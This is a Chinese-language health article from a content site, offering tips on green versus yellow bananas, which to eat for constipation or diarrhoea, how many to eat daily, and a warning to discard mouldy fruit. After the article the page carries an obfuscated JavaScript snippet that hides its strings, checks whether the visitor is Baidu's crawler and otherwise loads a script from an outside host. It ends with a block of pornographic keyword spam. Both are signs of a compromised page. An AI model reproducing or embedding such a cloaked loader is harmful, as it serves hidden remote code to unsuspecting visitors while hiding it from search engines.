當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

關(guān)于香蕉的小秘密你知道么?

2017-02-09 21:30:30  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:水果過熟跟發(fā)霉是兩件事,發(fā)霉水果千萬不要吃。水果一旦發(fā)霉,很容易滲透,也就是說,整顆都已經(jīng)被污染了,這時(shí)候,整顆丟掉就對(duì)了,不要貪小便宜,吃下霉菌,得不償失。

關(guān)于香蕉的小秘密你知道么?

關(guān)于香蕉的小秘密你知道么?

關(guān)于香蕉的小秘密你知道么?

香蕉因?yàn)閮r(jià)格平實(shí)、一年四季都是產(chǎn)期等等因素,成為上班族與學(xué)生攝取水果類時(shí)的首選,但是你知道嗎?綠皮香蕉比黃皮香蕉對(duì)健康和減脂來說更有益哦!

綠皮香蕉熱量最低

如果以熱量的角度來看,綠皮香蕉熱量是比黃皮香蕉還要低,也有研究說,綠皮香蕉對(duì)於抗老功效不錯(cuò)。但麻煩的地方在于,不是每個(gè)人的腸胃都能承受綠皮香蕉,因?yàn)榫G皮香蕉比較不好消化,容易引發(fā)腸胃不適。而且,完全綠皮的香蕉真的不好吃,美眉們?nèi)绻娴南霐z取熱量較低的香蕉,營養(yǎng)師建議“選黃中帶綠的,也就是黃香蕉上還有一點(diǎn)綠色部分的”。

腹瀉要吃綠皮香蕉

很多人便秘時(shí),第一個(gè)想到的就是吃香蕉,但是你真的吃對(duì)了嘛?便秘的時(shí)候要選擇熟透的香蕉,也就是整根都是黃色、內(nèi)層果肉質(zhì)地沒有改變,但外皮有一點(diǎn)點(diǎn)小斑點(diǎn)那種,才是真正能促進(jìn)腸胃蠕動(dòng)的。至于腹瀉不停,應(yīng)該要吃綠綠的香蕉才對(duì),延續(xù)上面提到的,因?yàn)檎G香蕉味道很生,所以可以一個(gè)人能接受的程度選擇。

什么時(shí)候該吃香蕉?

越來越多的超市開始賣香蕉,美眉們都會(huì)覺得拿一根當(dāng)早餐方便快速。但其實(shí),營養(yǎng)師建議,香蕉不要空腹吃,也不要單單以香蕉當(dāng)早餐而是要搭配其他東西,因?yàn)橄憬妒歉呱侵笖?shù)的水果,它會(huì)讓你很快速感到飽足,卻又很快就覺得餓,飯后吃一根是最好的。

一天需要吃幾根香蕉?

其實(shí)一根就夠了!也就是說,超市賣的兩根入香蕉,你可以分兩天吃。因?yàn)橄憬兜臒崃科鋵?shí)沒有想像中那么低,營養(yǎng)師說,吃一根中型香蕉就等于攝取兩份水果,(一份大約是一個(gè)拳頭或一個(gè)飯碗的份量,每人每天最少要攝取兩份)。所以簡單來說,中型香蕉一天一根就足夠了!

香蕉過熟怎么辦?

如果真的不小心把香蕉放到過熟了,營養(yǎng)師建議,可以把香蕉加無糖優(yōu)酪乳或無糖豆?jié){打在一起,這么一來香蕉可以提供自然的甜味,就不需要另外加糖或蜂蜜,香蕉牛奶或香蕉豆?jié){在運(yùn)動(dòng)之后喝也很好唷!

最后,營養(yǎng)師提醒,水果過熟跟發(fā)霉是兩件事,發(fā)霉水果千萬不要吃。水果一旦發(fā)霉,很容易滲透,也就是說,整顆都已經(jīng)被污染了,這時(shí)候,整顆丟掉就對(duì)了,不要貪小便宜,吃下霉菌,得不償失。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品人成网在线播放影院| 精品国偷自产在线视频99| 精品无码av一区二区三区| 97精品在线观看| 中文天堂最新版在线精品| 日韩免费精品视频| 国产精品99久久99久久久动漫| 日韩精品视频免费观看| 香蕉依依精品视频在线播放| 精品人体无码一区二区三区| 国内精品一级毛片免费看| 久久精品动漫一区二区三区| 亚洲精品国产情侣av在线| 久久久国产精品va麻豆| d动漫精品专区久久| 国产成人A∨麻豆精品| 人人妻人人澡人人爽人人精品97 | 香蕉久久夜色精品升级完成| 无码精品人妻一区二区三区漫画| 国产精品国产三级国产专播| 青青草国产精品视频| 亚洲成人国产精品| 亚洲精品国产美女久久久| 乱精品一区字幕二区| 999精品久久久中文字幕蜜桃| 国产手机精品一区二区| 国产AV一区二区精品凹凸| 国产69精品久久久久9999APGF | 国产精品黄页在线播放免费| 国产精品一区三区| 亚洲国产精品线在线观看| 国产精品香蕉一区二区三区| 国产精品亚洲综合一区在线观看 | 久久精品人人做人人爱爱| 亚洲国产精品国产自在在线| 国产国产精品人在线视| 久久久久精品国产亚洲AV无码| 国产精品亚洲综合天堂夜夜| 久久亚洲国产欧洲精品一| 国产精品影音先锋| 国产成人精品久久|